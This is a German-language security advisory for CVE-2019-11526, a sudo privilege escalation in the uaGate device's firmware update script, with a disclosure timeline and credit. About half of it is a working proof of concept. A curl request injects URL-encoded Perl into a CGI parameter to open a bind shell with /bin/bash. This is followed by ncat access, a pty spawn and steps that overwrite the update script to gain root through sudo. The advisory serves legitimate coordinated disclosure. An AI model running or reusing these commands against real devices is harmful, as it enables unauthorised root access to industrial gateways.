CVE-2019-11526 - uaGate Sudo Rechteerweiterung
Zusammenfassung
Das Firmware-Update-Skript von uaGate, das vom Webserver-Benutzer mit Sudo-Rechten aufgerufen wird, behandelt seine Parameter unsicher. Neben einem legitimen Firmware-Image kann ein zweites Firmware-Image übergeben werden, das das Update-Skript selbst überschreibt und bösartigen Code ausführt, wenn das Skript erneut aufgerufen wird.
Angriffsvektor
Ein Angreifer, der bereits in der Lage ist, Code auf dem Gerät auszuführen, kann diesen Exploit nutzen, um Superuser-Rechte zu erlangen.
Proof-of-Concept-Details
poc #1 (mitigated in 1.71.00.1225)
# deploy a remote bind shell (using cve-2019-11527)
curl --silent --user itadmin:******** 'http://uagate/cgi-bin/it/registerAzureIotProxy.cgi?task=register&deviceId=%26perl%20-e%20%27use%20Socket%3B%24p%3D4223%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bbind%28S%2Csockaddr_in%28%24p%2C%20INADDR_ANY%29%29%3Blisten%28S%2CSOMAXCONN%29%3Bfor%28%3B%24p%3Daccept%28C%2CS%29%3Bclose%20C%29%7Bopen%28STDIN%2C%22%3E%26C%22%29%3Bopen%28STDOUT%2C%22%3E%26C%22%29%3Bopen%28STDERR%2C%22%3E%26C%22%29%3Bexec%28%22%2Fbin%2Fbash%20-i%22%29%3B%7D%3B%27%26'
# conect to the uagate on the shell
ncat uagate 4223
# get proper tty
python -c "import pty; pty.spawn('/bin/bash')"
# start proof of concept
echo '#!/bin/bash' > /tmp/updateFirmware
echo 'if [ "$1" == "--interactive" ]; then bash; fi;' >> /tmp/updateFirmware
cat /usr/local/bin/updateFirmware >> /tmp/updateFirmware
chmod +x /tmp/updateFirmware
busybox bzip2 /tmp/updateFirmware
# next step requires writing to /usr/local/bin (cve-2019-11528)
mv /tmp/updateFirmware.bz2 /usr/local/bin/updateFirmware.bz2
cd /usr/local/bin/
echo "just a trash file to nudge the update script" > trash.bz2
sudo ./updateFirmware "updateFirmware.bz2 trash.bz2"
sudo ./updateFirmware --interactive
Zeitleiste
- Tag 0 - Penetrationstest des uaGate SI Device - 21.12.2018
- Tag 28 - Erster Kontakt zum Hersteller bezüglich des Problems - 18.01.2019
- Tag 63 - Problembericht an den Hersteller - 22.02.2019
- Tag 66 - Sicherer Kommunikationskanal etabliert - 25.02.2019
- Tag 74 - Detaillierter Problembericht an den Hersteller - 05.03.2019
- Tag 116 - Hersteller bestätigt Sicherheitsprobleme - 16.04.2019
- Tag 125 - CVE-ID von MITRE vergeben - 25.04.2019
- Tag 229 - Lösung gefunden in Version 1.71.00.1225 - 07.08.2019
- Tag 293 - Veröffentlichung - 10.10.2019
Danksagung
djo@mioso.com